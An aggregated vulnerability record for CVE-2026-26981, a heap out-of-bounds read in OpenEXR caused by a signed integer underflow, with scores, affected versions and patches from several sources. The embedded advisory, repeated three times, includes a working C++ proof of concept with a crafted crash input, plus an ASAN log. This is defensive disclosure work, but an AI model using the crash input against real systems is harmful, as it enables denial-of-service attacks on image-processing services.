CVE-2026-26981
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.5
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
CVE-2026-26981- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-195
- Updated
- 2026-11-02
EUVDEUVD-2026-7407
6.5
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
EUVD-2026-7407- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q6vj-wxvf-5m8c
6.5
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
Summary
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip…
- Record
GHSA-q6vj-wxvf-5m8c- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-195
- Updated
- 2026-11-02
NVD
6.5
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
CVE-2026-26981- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-195
- Updated
- 2026-11-02
OSV
6.5
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
CVE-2026-26981- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-195
- Updated
- 2026-11-02
OSVGHSA-q6vj-wxvf-5m8c
6.5
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
Summary
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip…
- Record
GHSA-q6vj-wxvf-5m8c- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-195
- Updated
- 2026-11-02
Show 4 moreShow less
OSVJLSEC-2026-140
6.5
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
JLSEC-2026-140- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2849
6.5
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
Summary
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip…
- Record
PYSEC-2026-2849- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-26981
6.5
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
- Record
UBUNTU-CVE-2026-26981- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10272-1 No score
libIex-3_4-33-3.4.5-1.1 on GA media
These are all security issues fixed in the libIex-3_4-33-3.4.5-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10272-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
openexrPyPI |
3.3.0 up to 3.3.7 | 3.3.7 |
openexrPyPI |
3.4.0 up to 3.4.5 | 3.4.5 |
openexrPyPI |
3.3.0 up to 3.3.7, plus listed versions 3.3.13.3.23.3.33.3.43.3.53.3.6 |
3.3.7 |
openexrPyPI |
3.4.0 up to 3.4.5, plus listed versions 3.4.13.4.23.4.33.4.4 |
3.4.5 |
OpenEXR_jllJulia |
3.4.4+0 up to 3.4.8+0 | 3.4.8+0 |
openexrPyPI |
3.3.0 up to 3.3.7, 3.4.0 up to 3.4.5, plus listed versions 3.3.13.3.23.3.33.3.43.3.5 Show 5 moreShow less3.3.63.4.13.4.23.4.33.4.4 |
3.3.73.4.5 |
openexropenSUSE:Tumbleweed |
before 3.4.5-1.1 | 3.4.5-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-26981 is a medium vulnerability (CVSS 6.5) in Academysoftwarefoundation Openexr, published February 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in openexr 3.3.7.
References
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c
github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef
github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8
nvd.nist.gov/vuln/detail/CVE-2026-26981
github.com/advisories/GHSA-q6vj-wxvf-5m8c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26981.json
Left out here: the rest of 3 source descriptions. The JSON record has them.